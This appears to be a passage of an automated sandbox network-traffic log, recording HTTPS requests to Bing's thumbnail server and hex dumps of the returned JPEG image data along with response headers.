2024-11-27 10:14:33 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 522409 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 788219E3785F47668C23B2F7B99FD0B6 Ref B: EWR30EDGE0114 Ref C: 2024-11-27T10:14:33Z Date: Wed, 27 Nov 2024 10:14:32 GMT Connection: close
2024-11-27 10:14:33 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 32 3a 31 31 20 30 31 3a 30 33 3a 33 38 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.1 (Windows)2023:02:11 01:03:388C
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: ed 52 62 85 5c d0 04 78 a3 6e 38 a9 50 51 8c 52 b8 59 90 e3 da 97 69 db 52 d0 46 68 b8 38 91 aa e6 9c ab e9 52 05 fc a8 5f 7a 4d 95 14 33 6d 37 1f 35 4a ca 29 31 42 60 d0 cc 35 2b 0c 73 52 ed 23 ad 26 d0 69 5c 39 59 1e 29 69 cc 31 d6 93 14 f9 84 d5 86 fb d0 a7 b0 a9 36 d3 76 9a 39 87 66 81 58 f7 a5 53 f9 d2 aa fc b4 6d c5 4e 85 06 45 1b 85 0b 48 c3 1d 28 0b b1 ea e0 2f 14 ed e3 db f2 a8 94 53 f6 e1 a8 d0 69 b1 ea c0 f1 4b 90 1a 98 a3 bf 7a 31 ed 4b 95 0f 99 a2 5d c3 b7 de a1 64 ed 51 b2 9a 30 0d 4d 86 e4 c9 f7 8a 72 c9 8f bb 50 2a e2 a4 45 a9 e5 45 c5 b2 42 e5 9b 27 ad 2e fc 53 3e 4a 6f 15 36 2a ec 91 79 6c d3 98 61 aa 1c e2 86 77 3f 4a 7c a1 cc 4f b3 2b c7 4a 8d 94 9a 16 52 38 ed 4e f3 29 59 95 cc 98 cd 87 76 3b d0 d0 93 4a ef 9e 69 9b df f1 a7 a9 0d a0 Data Ascii: Rb\xn8PQRYiRFh8R_zM3m75J)1B`5+sR#&i\9Y)i16v9fXSmNEH(/SiKz1K]dQ0MrPEEB'.S>Jo6ylaw?J\|O+JR8N)Yv;Ji
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: 5a 2e 03 14 50 c3 34 fc 7b 51 8e d4 5d 80 cd be 94 62 9f 8f 4a 31 ed 4b 98 2c c6 ed a2 9f 8a 4c 62 8e 60 1b 8f 6a 18 0a 76 3d a8 c6 69 dc 06 e3 e6 a5 c5 39 45 18 a5 cc 03 54 7c d4 62 96 9d 47 30 0c db e9 4b 8c d3 b1 ed 46 3d a8 b8 ec c6 e3 da 8d b4 ea 31 ed 4a e2 1a cb 46 3d a9 d4 30 a2 e0 37 1e d4 63 da 9d c7 7a 55 14 5c 2d 71 aa 3d 69 19 69 f8 a3 14 5d 8e c3 71 43 2d 3b 14 62 9d c4 37 6d 0a b4 fc 7b 52 74 a5 71 b4 26 3d a8 c7 b5 3b 1e d4 28 a2 e2 13 14 62 9d 8f 5a 31 48 ae 51 bb 73 4b 8f 6a 76 3d a8 c7 b5 01 ca 36 85 14 ed b4 aa 28 15 86 e2 8c 53 b1 46 31 40 f9 44 51 46 3d a9 71 4e da 28 28 6e 29 57 9a 5c 52 e3 14 00 dc 7b 52 e2 96 95 68 01 31 ed 46 3d a9 cd 45 00 37 1e d4 ea 28 c6 69 5c 01 7e ed 18 f6 a5 c5 25 1b 00 52 e2 9c b4 71 48 04 c7 b5 18 f6 a7 Data Ascii: Z.P4{Q]bJ1K,Lb`jv=i9ET\|bG0KF=1JF=07czU\-q=ii]qC-;b7m{Rtq&=;(bZ1HQsKjv=6(SF1@DQF=qN((n)W\R{Rh1F=E7(i\~%RqH
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: f5 3d 43 0a ea 34 1f 8c be 39 69 a5 b0 bc b3 dd a8 69 f6 df 69 8a 79 31 fe 94 83 a8 38 e1 94 af 7e a2 bc b7 c7 d6 fa 86 9e cb aa 5a 6e 5b 6b 96 c6 e5 5f 97 3f 8f 7a 77 86 ce a7 6f 1c 1a 8f 89 67 bb 8e da 35 ff 00 44 93 77 cb b1 8e 1d 4f 7c 11 59 fb 38 28 7b 48 f5 fc fd 0d e3 88 ab ed 3d 94 ef a7 5f 2f 5f c8 f4 df 8c 7f 1f 0f 8a b4 fd 36 c8 e8 70 da df da a9 ff 00 49 f3 f7 ab 6e 1f 71 bb e3 3c 83 5c af 86 7e 37 6a 33 58 c7 e1 fd 6f c3 31 ea 53 2b 62 d2 ee 39 ca dc c2 7f bb f3 70 cb ec 6a 38 fc 1b a7 dd fd b2 4b 6b 68 5a 19 18 bc 53 b7 dc d9 e8 79 e3 eb 5c 1f 89 3c 39 a8 69 3a f4 6f 2f 9b 01 fb f1 4a bf c4 07 a7 b8 ae ac 34 e9 ce 9d a3 d0 e3 c4 ac 4d 2a a9 c9 e8 ff 00 23 d8 97 c5 7a 54 d2 47 fd a7 bb 4c b9 6c 79 71 ce df 26 7f d9 71 c6 0f bd 16 3a ac 53 ea Data Ascii: =C49iiiy18~Zn[k_?zwog5DwO\|Y8({H=_/_6pInq<\~7j3Xo1S+b9pj8KkhZSy\<9i:o/J4M*#zTGLlyq&q:S
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: 53 85 3c 5a a7 0f 87 a9 f4 07 80 75 8d 7e 0d 25 7f b4 6e 63 9f 45 92 4d 8b fb c1 22 c2 7a 61 d4 8c 60 d5 4d 6b c1 66 f3 4f be 8b 4a dd 67 aa 45 e6 5f da 5d da 7c b1 dd 6d 3b 8a 34 7d 15 87 4c ae 07 eb 5c 3e 8f e2 9d 6d 75 69 2f 11 a0 b6 86 7e 26 b4 f2 bf 73 30 ee 19 0f 15 eb 7f 0d 7c 49 a7 6b da 7f d9 34 f9 7f b3 ef ed be 78 e2 95 b7 27 fc 01 8f 38 f6 35 c7 88 8e 22 93 f6 91 f9 d8 f4 f0 f3 c3 d5 8f 23 f9 5c e2 ec 7e 2c 5b 5d e9 fa 75 e5 cc b7 77 57 0b 13 0b dd d8 85 23 c7 42 08 fb c7 35 87 f1 12 4d 33 c6 ba 2c 5a af 86 a7 69 6e 11 bf d3 b4 99 db e6 62 3f e5 ac 0c 79 dd 8e ab df a8 f4 af 41 f8 a3 f0 b3 c3 de 31 d3 6e a4 d3 e0 5f 0f 78 a9 57 7c 7e 57 cb 67 a8 11 fc 32 20 e1 58 f6 75 fc 6b c1 34 38 6f ec 35 07 b4 b9 8a 7b 1b eb 59 0a 6d 65 da ea eb d4 11 f5 Data Ascii: S<Zu~%ncEM"za`MkfOJgE_]\|m;4}L\>mui/~&s0\|Ik4x'85"#\~,[]uwW#B5M3,Zinb?yA1n_xW\|~Wg2 Xuk48o5{Yme
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: 96 96 ca 91 c9 e5 a8 66 8e 40 71 d4 10 43 67 bd 79 d5 25 2c 34 93 52 bc 7a a3 d9 a7 4a 18 da 72 4e 9d a7 d1 9e 29 6f 79 e6 6d 49 22 dc 8a d9 ff 00 6b f3 a8 6e 63 88 48 de 5a ed f9 b2 b5 e8 5a b7 c3 0b d4 be 92 0b 1b e8 fc bf fa 6a bf 3a 8f 5f 97 ef 7d 45 62 7c 44 f0 1e a1 e1 5d 06 db 59 f3 da 5b 79 e7 36 b2 ee 5d ad 1c b8 dc 36 ff 00 79 48 ef d4 57 75 3c 5d 09 49 25 2d 59 e4 d7 c0 62 69 41 ca 51 d1 1c 92 aa 0d c7 65 47 8c b3 1a 72 b6 17 fb a5 a9 18 84 5c 6d ae c3 cd 37 34 bd 69 cd aa e9 fa bc 0b a8 59 af 2a b2 fd f8 ff 00 dc 6e ab 52 6a 9e 19 79 6d da f7 c3 b2 fd b2 d9 b2 ff 00 66 6f f8 f8 8f fe 03 fc 78 f5 15 89 0b 01 cb 74 ad 2d 0f 5c bf d1 66 4b 8b 66 dc bb be 55 ff 00 3d 2b 9e 50 94 5d e9 ef db a1 db 0a 94 e6 94 6b ed df aa fe bc cc a4 90 96 54 93 e6 Data Ascii: f@qCgy%,4RzJrN)oymI"kncHZZj:_}Eb\|D]Y[y6]6yHWu<]I%-YbiAQeGr\m74iY*nRjymfoxt-\fKfU=+P]kT
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: 76 da 8b b6 8b e6 41 14 6b 70 b1 61 96 36 dc aa 00 e3 e9 9a e4 97 5f d5 12 e1 6e 12 5f 2c ab 7c b1 af dd e7 d7 d6 aa c9 77 78 6d da 01 2c 8b 14 bf 79 7f bd 50 a5 be 17 0e dc d6 a7 35 cd 9b 9f 15 ea 13 2e 03 2c 4c bf c4 ab f3 56 3d c4 b2 cf 33 49 2c ad 24 8c df 33 37 cc 69 1a 25 5d c3 6f bd 3e 6f 29 36 ec 95 b0 ab d7 f8 68 d8 35 7a b2 ab cc 91 c9 b7 e6 63 5a be 1f d4 31 fb b9 19 99 63 fe 5e 95 4a 6f dd f9 60 af de fb ad 4c f3 8c 6c de 5e e5 66 5c 6e a9 94 53 43 8c b9 59 d4 e9 f7 d2 c2 cb 25 9c fc ff 00 9e d5 d3 e9 7e 2a b3 bc 55 83 54 95 6d ae 37 04 56 6f b9 27 d4 ff 00 09 af 38 b1 bb 11 c8 b9 5f 97 fd af 5a dd d9 65 7f 24 51 08 b6 ac 8b fb c9 15 8b 6d c0 ac 9c 6c 74 d3 a8 da 3d 12 64 cb 49 65 3b 33 fc c0 47 b7 ee 60 fb 9e 95 81 a8 5b 9b 59 a6 8a 4f 94 2b Data Ascii: vAkpa6_n_,\|wxm,yP5.,LV=3I,$37i%]o>o)6h5zcZ1c^Jo`Ll^f\nSCY%~*UTm7Vo'8_Ze$Qmlt=dIe;3G`[YO+
2024-11-27 10:14:34 UTC	16065	IN	Data Raw: 2a f3 fb c2 78 1b 14 70 7e bd ab cd bc 33 a6 49 7d 6f e4 23 6d 2b fb e6 65 6d bd 78 c6 7d 6b ac d2 b5 c4 b4 d7 96 d2 ff 00 e6 b7 81 42 c5 23 2e ed b2 01 83 cf f7 4f 4a f3 f1 50 6e ea 27 af 81 a8 95 9c f4 3d 12 4b b8 35 0d 0f 60 81 9b cb 6f 2e 5f 2f fd 5d d2 63 18 23 f8 5c 63 ad 66 68 b6 96 9a ac 8b a5 5b b3 7d 9e 49 36 2a ca df 35 bb 8e c7 3c f5 e3 3e 95 4a c5 e4 b3 b8 96 f2 c9 7c c8 65 51 e6 45 1b 7c ad 9e a3 1d 9b fa d6 bf 8d ac e4 8e e2 3b df 2e e7 4c bc 93 69 92 ef cb f9 23 c7 46 90 2e 7e 99 fc f8 af 3a 3a 3b 1e b3 da f6 21 d6 3c 2c f6 b6 f2 d9 cd 03 39 8a 40 25 89 9b e7 d9 d7 e5 3e de bd eb 9b d5 90 69 5a a4 52 e8 7e 64 71 f9 83 cd b4 fb cb 1c 83 a3 80 7b 13 d4 0a ec ad bc 4b a9 ea f2 59 d9 dd 5b 41 1d cb 47 98 ef 63 8c ff 00 a4 63 f8 5f b7 e5 58 7e Data Ascii: xp~3I}o#m+emx}kB#.OJPn'=K5`o._/]c#\cfh[}I65<>J\|eQE\|;.Li#F.~::;!<,9@%>iZR~dq{KY[AGcc_X~
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: 10 de b9 b3 93 cd 95 77 44 c0 b3 36 57 72 03 d7 02 9b 7e 96 d7 2b 22 1f dd 86 61 f3 2b 6d dc 41 ed 53 cb 7d 8d 79 ac 33 ed 6b 6f 34 73 3c be 51 6c 7c ad 9f 94 f4 ff 00 3d aa 2f 34 2d e2 f9 8b 26 36 94 f9 b8 da 7e 9d c5 3a 4b 50 6d fc b4 65 c2 ae 15 5b d2 ab 6e 90 47 12 95 dd b5 89 69 19 4b 3f 3c 6d 24 f6 14 b9 41 ca e6 8d b5 fc eb 22 bc 1f bd b6 dc 15 9b ee b2 91 5d d7 c3 3d 48 49 ac 4b a2 5c 4e ad a6 df 44 52 78 25 fb bb 4f 52 a7 f8 58 57 9e db ac 93 c6 b1 7f 79 be 5f e1 6a b1 33 dc e9 4c b3 ad 9c 92 c9 b7 f7 4d 1b 05 7c f4 ff 00 26 a6 a4 79 a2 d1 ad 1a 9c b2 4c dd 40 34 7f 15 5f 59 c1 3b 79 76 d2 62 36 65 ff 00 58 9e fe bf 51 de ad ff 00 6b 98 ee a7 75 4f 2d 59 72 d1 2b 1d ac 7f d9 ec 18 d7 39 26 a8 97 2d 63 a8 47 2b 48 cb fb b9 e3 db f3 42 87 fb d9 f4 Data Ascii: wD6Wr~+"a+mAS}y3ko4s<Ql\|=/4-&6~:KPme[nGiK?<m$A"]=HIK\NDRx%ORXWy_j3LM\|&yL@4_Y;yvb6eXQkuO-Yr+9&-cG+HB
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: 6a 4d 1f cc 7b af b4 db 37 d9 a6 b4 c9 89 e3 fb bc 76 3e b5 51 5a 11 74 cb 9e 1d b7 49 24 f2 51 9a 48 d7 3b b7 7a 7b 67 b5 74 b6 fa 2e 9f 07 87 64 9f 4f b3 91 6e a7 9c f9 8b e7 94 65 00 7c bf 2a f1 83 9e b5 9d e1 d8 8b 79 d2 fc ab 24 8c 0e d8 d7 62 f1 e8 3a 0e 6b 42 ee 4b c8 ac 64 f3 27 dd e5 cb bd 59 58 2e e4 3f c3 c7 a5 69 18 ab 5e c2 32 b4 5d 47 57 d3 37 5b f9 52 ad ca 48 df bd 5c 6c 90 74 cf 7f e1 e3 eb 5d b2 6b d1 cf a7 c9 61 79 a6 46 d6 d2 aa c8 b7 31 4f f3 2b af 04 85 6e 99 e9 9a c4 bc 8f 4e d5 2d e2 9e 3b 69 52 49 71 b6 e6 09 06 e6 3d 0a 30 3f ce ae 68 7a 3e 89 ac e9 f2 c4 6f 1a 39 a2 6f 2d 60 d4 24 0a 64 73 c7 ca cb c9 03 a7 3c 56 12 a7 16 d3 67 4d 3a 93 49 a4 63 fc 42 d1 22 d2 ec 7e d6 ec bb a5 61 e5 ca bf f2 d0 b0 ce 3e a3 bd 72 7f 69 89 ad 64 Data Ascii: jM{7v>QZtI$QH;z{gt.dOne\|*y$b:kBKd'YX.?i^2]GW7[RH\lt]kayF1O+nN-;iRIq=0?hz>o9o-`$ds<VgM:IcB"~a>rid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49792	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:33 UTC	375	OUT	GET /th?id=OADD2.10239340418551_1MWHJRW59UCHVWKN4&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-27 10:14:33 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 534196 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: A2C3F9A7889E44E8963A78CDFE0B7EB4 Ref B: EWR30EDGE0314 Ref C: 2024-11-27T10:14:33Z Date: Wed, 27 Nov 2024 10:14:32 GMT Connection: close
2024-11-27 10:14:33 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 32 3a 31 31 20 30 31 3a 30 32 3a 33 36 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.1 (Windows)2023:02:11 01:02:368C
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: 65 2d 4d a3 a1 6b 20 d4 b0 f3 55 55 aa 74 7c 56 72 34 89 69 64 c2 e0 52 a1 dd 55 d1 a9 eb 25 67 62 ee 4d b7 e6 c5 49 0a a0 aa e9 25 3d 64 a9 77 29 58 ba 08 14 f5 7a a6 25 a9 11 b3 59 b5 62 f9 8b 91 bd 48 a6 aa a1 c5 4b 18 2d 49 96 87 31 cb 53 91 69 aa 94 f8 c5 4b 63 25 8f 8a 93 ad 47 8f 6a 90 1c d4 94 3d 00 db 4a a2 9a a2 a4 41 53 73 40 a4 c5 3d 97 d2 85 4a 57 40 46 e3 35 13 c7 9a b2 c9 4d 65 a7 71 35 72 b3 47 51 48 80 d5 c7 1f 2d 40 e0 0a a4 c8 20 51 4e 55 cb 51 25 3a 33 54 48 37 b5 4b 0a 9d b4 e8 c2 9e b5 2a 8a 86 68 95 c8 58 ed a5 4f 5a 7b 25 0b 1d 20 b5 83 19 a5 55 a1 53 14 ee 94 14 35 53 34 d6 5c 54 9b a9 19 85 24 2b a2 29 06 3a d4 4c 48 a9 49 1d aa 36 51 56 40 8c d9 a4 dd 4f d8 0d 20 88 ff 00 0d 1a 06 a3 41 cd 4c b8 2b 51 ed 22 96 80 15 97 fb b4 d6 Data Ascii: e-Mk UUt\|Vr4idRU%gbMI%=dw)Xz%YbHK-I1SiKc%Gj=JASs@=JW@F5Meq5rGQH-@ QNUQ%:3TH7K*hXOZ{% US5S4\T$+):LHI6QV@O AL+Q"
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: 56 fb df 77 e8 41 fa d6 72 c8 ec af 2e ed a5 7f ef 9c 7a 53 23 8d bc bc 3e e8 f7 2e f5 da df 2e 3d 6b 9e f7 dc ea 5e ef c2 7a fe ab f1 b7 e2 9c 5a 4c be 1f b2 f1 1c d7 3a 5c f6 8d 6d 2a dc aa 4c de 5b 0c 30 0e d9 23 8e 87 3c 57 17 e1 ed 5f c4 3e 1a d6 2c 7c 41 a0 6a ad 63 a8 d8 c8 1e da e6 06 da ca 00 fb ad d9 d7 1c 60 8c 57 31 67 a8 4a cd e5 16 dd e5 31 1b 5b fc 6a d7 db 65 16 3e 44 f1 2c 7f c7 1b 2f dd ab 9c a7 29 2b bd 88 a7 18 46 32 69 6f b9 f5 df c3 ef da c3 c3 92 78 5d 5f c7 9a 55 dd 9e ad 06 04 92 69 30 79 90 dd 0e f2 05 24 18 db d5 39 1e 95 c5 7c 57 fd ad f5 dd 46 f2 5d 3f e1 e6 98 ba 45 8e dd b1 ea 17 b1 89 2f 24 3e aa 9f 75 3f 1d c6 be 67 7b c8 0e e8 d6 5d cd fc 4b 4c 4b 86 59 1a 48 9b 69 db f7 97 f8 6b a3 eb 55 2d 6b 9c 5f 55 a2 e5 cd 6f 97 43 Data Ascii: VwAr.zS#>..=k^zZL:\m*L[0#<W_>,\|Ajc`W1gJ1[je>D,/)+F2iox]_Ui0y$9\|WF]?E/$>u?g{]KLKYHikU-k_UoC
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: 2c 10 d5 64 37 62 7d c1 57 2f f3 0d bf 76 98 99 7d d9 6d a1 7f 86 91 63 73 f4 5a 91 61 33 48 b8 dd f2 ff 00 75 7e ed 02 dc 8d 11 37 67 b7 fb 55 6e e2 d0 5b b2 a4 8d e5 c9 22 fc b1 ff 00 76 b5 fc 3b e1 ab cb 99 b7 a4 b1 c7 0a fd e9 65 ce d5 3f cd a9 96 76 a8 93 33 dd fe f4 2c 85 55 9b db b8 15 3c c8 d1 53 76 2f f8 62 28 9f 47 6f 3f 45 59 7e 60 20 b9 91 4e d9 0f f7 08 ef 9e c6 bb fb 1f 0c 08 f4 55 07 c8 8e e6 58 cb f9 6b 88 d5 40 e7 00 fa ff 00 3a c6 d1 26 8d b4 bf 2e d9 5b ce 8a 40 fb 7b 32 0e aa a7 d6 aa 78 bb 52 bd 92 ce 58 6d f7 2b 4a d8 6d ed b5 94 7a 63 d6 b2 d5 b3 a6 ea 11 d4 e2 7c 55 2c 93 ea cc 9e 6a ca 11 b6 ab 2f f1 1f 4e 7d 2a a6 d9 d9 a3 44 81 b2 dc 47 f2 fd e3 f4 ae 82 c3 46 83 c9 59 0a fd aa 69 3f d5 c5 1f f1 1f 4c 57 4d e0 db 21 67 ab 45 73 Data Ascii: ,d7b}W/v}mcsZa3Hu~7gUn["v;e?v3,U<Sv/b(Go?EY~` NUXk@:&.[@{2xRXm+Jmzc\|U,j/N}*DGFYi?LWM!gEs
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: b4 2b 13 7d a9 57 f7 6a bf c4 5b f8 d8 fa 56 5f 82 52 ef 4a b1 d5 63 b8 55 6b 9f 37 c8 56 95 7e f6 d1 d8 fa 54 72 65 36 8f bd 2c 8d f3 48 de fd 85 12 95 90 53 8d d6 84 56 d6 91 c4 ad 24 9b 65 91 b8 69 36 fa f6 1e 82 ad cd ab da 68 7a 7b 4a 62 8e 5b e9 e3 db 14 7f f3 cc 7a fb 66 b3 f5 8d 5c 5a db c7 00 8b 71 4c ee 5f 73 5c cc 92 c9 3c cd 2c ed b9 a4 e5 9a b3 45 bb 6c 89 ee 6e 25 ba b8 69 e5 f9 8b 31 6a bb a5 dc 47 0a c7 22 7c c6 5c 86 56 fb b9 ff 00 11 59 8b 3a 06 f9 17 f8 73 5a b6 16 12 dd c3 1b a4 b0 45 1b 36 77 48 df 33 7d 29 31 47 7d 09 6f 27 71 6f 92 b1 79 7b 4f f1 7f 2f 43 46 8e 92 3a b2 44 b2 49 f2 92 de 5a ee e9 cd 5e d3 5a d2 da e3 cc 9d 6d a5 1b b0 de 64 7b fc bf f6 80 ae 92 ce e4 58 68 ad 79 04 52 41 6e ea 43 34 8b b5 e4 0d 91 95 ff 00 64 d3 d1 Data Ascii: +}Wj[V_RJcUk7V~Tre6,HSV$ei6hz{Jb[zf\ZqL_s\<,Eln%i1jG"\|\VY:sZE6wH3})1G}o'qoy{O/CF:DIZ^Zmd{XhyRAnC4d
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: bb 8a f4 a8 62 14 ad 19 fc 47 8b 8c c1 3a 7e fc 35 8f e4 60 3b 06 5f 2d d9 bf d9 6d bf ce 88 e4 09 fe c9 e3 6a d4 6a f8 5c ee 55 a6 34 d8 6d 8f f3 47 d2 3f f6 7f 1a ec 48 f3 2f 62 4b 95 0d 1c 92 c6 bf bc 6f bd f3 56 52 ef 2d 92 dc d5 fd e3 6f c8 df 37 f1 2d 46 91 c1 25 c4 66 5d cb 1e e1 e6 6c c6 ec 7b 56 91 ec 63 51 5f 52 a7 99 88 59 0a ff 00 f1 35 af e1 9d 56 e2 c6 4f 32 38 95 8c 6a 47 98 cb f3 47 bb d1 bd fd 29 b7 da 65 9f da 33 14 bf b9 56 f9 76 fd e9 3e 9f e3 5d 75 85 95 b5 d7 86 ed 6d ae 22 81 ad e3 63 e5 b2 fc af 1e 7d 4f a8 a7 27 ca f5 0a 50 72 47 32 d7 b0 0b e9 2f 2e 20 dc 1b 25 62 dd b7 73 9f e2 35 42 49 ae 2f ae 3c c7 6d dd b7 7f 0a 8f 40 2b a0 bc d1 ed 62 99 99 e2 f3 50 fc ab fe c8 ff 00 3d eb 36 fa 04 b4 99 bc 87 6f 9a 3c c4 dd 97 ff 00 d5 53 Data Ascii: bG:~5`;_-mjj\U4mG?H/bKoVR-o7-F%f]l{VcQ_RY5VO28jGG)e3Vv>]um"c}O'PrG2/. %bs5BI/<m@+bP=6o<S
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: 5f dc ad cc 2b 19 49 2e e2 6f 99 5c 9e 03 63 f8 47 e8 6b b3 f0 e8 8b 5c d1 e7 8a 09 60 be 6b 18 c3 c1 3c 13 a2 c9 d7 a7 3d 78 eb 9a e3 6d be 1e cd 1c 78 b8 d5 e0 f2 e4 6c 2f 91 11 3b b3 fe f1 15 d1 78 63 4a d3 b4 16 8f ec f7 d7 32 37 4d cd 85 5c 74 39 55 fe b5 85 5c 12 96 b1 7a 9d 54 31 b2 8e 95 23 a1 d1 43 aa df 6a ab 16 99 aa 59 ac 97 31 c6 63 69 d5 7c b7 b8 0b c2 a9 43 f7 1c 0e 87 f8 ab 96 92 d5 2c 75 06 b9 f2 96 f2 dd 9c 49 04 aa a7 cc b5 c1 e4 32 1e 4f 4e 9f 51 e9 5d e6 95 e2 1d 2e 4b 19 6c b5 8d 2b 4f be 89 57 c9 f3 24 83 6c ca 9e 9b d7 07 f1 ed 5a 72 69 1f 0f fc 4d 0f 9f 03 5d e9 b7 9b 76 7d ae 3b 91 22 b0 fe ec 8a fd 71 eb 9c d7 24 f0 b2 a6 7a 14 f1 31 9a 47 96 ea 97 36 da 85 9c d1 6e 8f ca 97 25 76 b6 e5 84 e7 76 31 fd df fd 06 b8 e9 22 41 e6 87 Data Ascii: _+I.o\cGk\`k<=xmxl/;xcJ27M\t9U\zT1#CjY1ci\|C,uI2ONQ].Kl+OW$lZriM]v};"q$z1G6n%vv1"A
2024-11-27 10:14:34 UTC	16065	IN	Data Raw: 7d f8 fd 51 bd fd eb cb 92 57 3a 25 07 14 99 93 78 a9 aa 58 cb 64 d1 6e b9 91 70 c8 d1 fc d3 01 d4 63 aa b0 ff 00 26 a8 e8 fa 8b cb 34 56 12 4f f6 9b a8 a2 2d 12 c9 ff 00 2f 90 03 b7 68 6f ef a9 e3 de b6 bc 41 61 25 ab 2e a1 1c ed e7 5b b0 3e 6a af cd b3 f8 58 e3 ef 63 a1 f6 ae 73 c5 da 72 2f fc 4c 22 8b cb 86 6b 9d f3 c7 1b 73 63 3b 70 27 8f fd 86 3c 37 fb d4 b7 d1 97 19 2d 0a 3f 14 34 a0 fa 3a ea 16 d1 32 b5 b3 09 37 2a fc db 07 0c a7 dc 0e 7e 82 a2 f0 06 a1 2c 36 71 5b de b4 11 da 48 c5 15 95 be 59 9c f4 0b e9 9a dd b7 d5 84 d3 35 86 a3 07 ee a4 da 92 b2 e3 6c 6e 3a 31 f5 5e 84 1e e2 b9 dd 43 49 9f 49 bc 5d 1e 3d cd 1c ec cf 69 b5 4f 94 ae 3e 63 b4 f4 3d 77 0f a1 f4 a6 a5 75 c9 22 f9 45 f8 bd a2 5f df da 36 a3 a3 3b 36 a7 63 01 9a 48 d7 ef 6a 56 db 30 Data Ascii: }QW:%xXdnpc&4VO-/hoAa%.[>jXcsr/L"ksc;p'<7-?4:27*~,6q[HY5ln:1^CII]=iO>c=wu"E_6;6cHjV0
